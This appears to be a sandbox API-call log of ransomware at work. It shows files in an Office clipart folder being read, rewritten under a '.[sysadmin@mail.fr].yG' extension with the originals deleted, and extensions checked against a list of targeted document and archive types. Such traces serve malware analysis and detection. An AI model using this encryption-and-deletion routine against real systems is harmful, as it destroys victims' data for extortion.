	[0052.036] ReadFile (in: hFile=0x2e0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.036] WriteFile (in: hFile=0x388, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.037] SetEndOfFile (hFile=0x388) returned 1
	[0052.037] CloseHandle (hObject=0x388) returned 1
	[0052.041] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.041] SetEndOfFile (hFile=0x2e0) returned 1
	[0052.046] CloseHandle (hObject=0x2e0) returned 1
	[0052.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1
	[0052.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.050] lstrlenW (lpString=".doc") returned 4
	[0052.050] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.050] lstrlenW (lpString=".docx") returned 5
	[0052.050] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.050] lstrlenW (lpString=".pdf") returned 4
	[0052.050] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.051] lstrlenW (lpString=".xls") returned 4
	[0052.051] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.051] lstrlenW (lpString=".xlsx") returned 5
	[0052.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.051] lstrlenW (lpString=".ppt") returned 4
	[0052.051] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.051] lstrlenW (lpString=".zip") returned 4
	[0052.051] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.051] lstrlenW (lpString=".rar") returned 4
	[0052.051] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.051] lstrlenW (lpString=".bz2") returned 4
	[0052.051] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.051] lstrlenW (lpString=".7z") returned 3
	[0052.051] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.051] lstrlenW (lpString=".dbf") returned 4
	[0052.051] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.051] lstrlenW (lpString=".1cd") returned 4
	[0052.051] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.051] lstrlenW (lpString=".jpg") returned 4
	[0052.051] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.051] lstrlenW (lpString=".doc") returned 4
	[0052.051] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.051] lstrlenW (lpString=".docx") returned 5
	[0052.051] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.051] lstrlenW (lpString=".pdf") returned 4
	[0052.051] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.051] lstrlenW (lpString=".xls") returned 4
	[0052.051] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.051] lstrlenW (lpString=".xlsx") returned 5
	[0052.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.052] lstrlenW (lpString=".ppt") returned 4
	[0052.052] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.052] lstrlenW (lpString=".zip") returned 4
	[0052.052] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.052] lstrlenW (lpString=".rar") returned 4
	[0052.052] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.052] lstrlenW (lpString=".bz2") returned 4
	[0052.052] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.052] lstrlenW (lpString=".7z") returned 3
	[0052.052] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.052] lstrlenW (lpString=".dbf") returned 4
	[0052.052] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.052] lstrlenW (lpString=".1cd") returned 4
	[0052.052] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0052.052] lstrlenW (lpString=".jpg") returned 4
	[0052.052] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.052] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0052.052] lstrlenW (lpString="AG00172_.GIF") returned 12
	[0052.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0052.052] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=4390) returned 1
	[0052.052] CloseHandle (hObject=0x2f4) returned 1
	[0052.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220
	[0052.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.053] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.053] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0052.055] GetLastError () returned 0x0
	[0052.055] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1126, lpOverlapped=0x0) returned 1
	[0052.088] WriteFile (in: hFile=0x2fc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1130, lpOverlapped=0x0) returned 1
	[0052.089] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.089] WriteFile (in: hFile=0x2fc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.089] SetEndOfFile (hFile=0x2fc) returned 1
	[0052.184] CloseHandle (hObject=0x2fc) returned 1
	[0052.185] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.185] SetEndOfFile (hFile=0x394) returned 1
	[0052.186] CloseHandle (hObject=0x394) returned 1
	[0052.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1
	[0052.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.187] lstrlenW (lpString=".doc") returned 4
	[0052.187] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.187] lstrlenW (lpString=".docx") returned 5
	[0052.187] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.187] lstrlenW (lpString=".pdf") returned 4
	[0052.187] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.187] lstrlenW (lpString=".xls") returned 4
	[0052.187] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.187] lstrlenW (lpString=".xlsx") returned 5
	[0052.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.187] lstrlenW (lpString=".ppt") returned 4
	[0052.187] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.187] lstrlenW (lpString=".zip") returned 4
	[0052.187] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.187] lstrlenW (lpString=".rar") returned 4
	[0052.187] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.187] lstrlenW (lpString=".bz2") returned 4
	[0052.187] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.187] lstrlenW (lpString=".7z") returned 3
	[0052.187] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.187] lstrlenW (lpString=".dbf") returned 4
	[0052.187] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.187] lstrlenW (lpString=".1cd") returned 4
	[0052.187] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.187] lstrlenW (lpString=".jpg") returned 4
	[0052.187] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.188] lstrlenW (lpString=".doc") returned 4
	[0052.188] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.188] lstrlenW (lpString=".docx") returned 5
	[0052.188] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.188] lstrlenW (lpString=".pdf") returned 4
	[0052.188] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.188] lstrlenW (lpString=".xls") returned 4
	[0052.188] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.188] lstrlenW (lpString=".xlsx") returned 5
	[0052.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.188] lstrlenW (lpString=".ppt") returned 4
	[0052.188] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.188] lstrlenW (lpString=".zip") returned 4
	[0052.188] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.188] lstrlenW (lpString=".rar") returned 4
	[0052.188] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.188] lstrlenW (lpString=".bz2") returned 4
	[0052.188] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.188] lstrlenW (lpString=".7z") returned 3
	[0052.188] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.188] lstrlenW (lpString=".dbf") returned 4
	[0052.188] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.188] lstrlenW (lpString=".1cd") returned 4
	[0052.188] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0052.188] lstrlenW (lpString=".jpg") returned 4
	[0052.188] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.188] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0052.189] lstrlenW (lpString="AG00175_.GIF") returned 12
	[0052.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.189] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=3378) returned 1
	[0052.189] CloseHandle (hObject=0x394) returned 1
	[0052.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220
	[0052.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.190] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.190] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0052.190] GetLastError () returned 0x0
	[0052.190] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xd32, lpOverlapped=0x0) returned 1
	[0052.264] WriteFile (in: hFile=0x2fc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xd40, lpOverlapped=0x0) returned 1
	[0052.265] ReadFile (in: hFile=0x394, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.265] WriteFile (in: hFile=0x2fc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.265] SetEndOfFile (hFile=0x2fc) returned 1
	[0052.265] CloseHandle (hObject=0x2fc) returned 1
	[0052.266] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.266] SetEndOfFile (hFile=0x394) returned 1
	[0052.267] CloseHandle (hObject=0x394) returned 1
	[0052.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1
	[0052.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.302] lstrlenW (lpString=".doc") returned 4
	[0052.302] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.302] lstrlenW (lpString=".docx") returned 5
	[0052.303] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.303] lstrlenW (lpString=".pdf") returned 4
	[0052.303] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.303] lstrlenW (lpString=".xls") returned 4
	[0052.303] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.303] lstrlenW (lpString=".xlsx") returned 5
	[0052.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.303] lstrlenW (lpString=".ppt") returned 4
	[0052.303] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.303] lstrlenW (lpString=".zip") returned 4
	[0052.303] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.303] lstrlenW (lpString=".rar") returned 4
	[0052.303] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.303] lstrlenW (lpString=".bz2") returned 4
	[0052.303] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.303] lstrlenW (lpString=".7z") returned 3
	[0052.303] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.303] lstrlenW (lpString=".dbf") returned 4
	[0052.303] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.303] lstrlenW (lpString=".1cd") returned 4
	[0052.303] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.303] lstrlenW (lpString=".jpg") returned 4
	[0052.303] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.304] lstrlenW (lpString=".doc") returned 4
	[0052.304] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.304] lstrlenW (lpString=".docx") returned 5
	[0052.304] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.304] lstrlenW (lpString=".pdf") returned 4
	[0052.304] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.304] lstrlenW (lpString=".xls") returned 4
	[0052.304] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.304] lstrlenW (lpString=".xlsx") returned 5
	[0052.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.304] lstrlenW (lpString=".ppt") returned 4
	[0052.304] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.304] lstrlenW (lpString=".zip") returned 4
	[0052.304] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.304] lstrlenW (lpString=".rar") returned 4
	[0052.304] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.304] lstrlenW (lpString=".bz2") returned 4
	[0052.304] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.304] lstrlenW (lpString=".7z") returned 3
	[0052.304] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.304] lstrlenW (lpString=".dbf") returned 4
	[0052.304] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.304] lstrlenW (lpString=".1cd") returned 4
	[0052.304] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0052.304] lstrlenW (lpString=".jpg") returned 4
	[0052.304] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.305] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.305] lstrlenW (lpString="AN00965_.WMF") returned 12
	[0052.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.305] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=7072) returned 1
	[0052.305] CloseHandle (hObject=0x2ec) returned 1
	[0052.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220
	[0052.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.305] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.305] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0052.306] GetLastError () returned 0x0
	[0052.306] ReadFile (in: hFile=0x2ec, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1ba0, lpOverlapped=0x0) returned 1
	[0052.407] WriteFile (in: hFile=0x384, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1bb0, lpOverlapped=0x0) returned 1
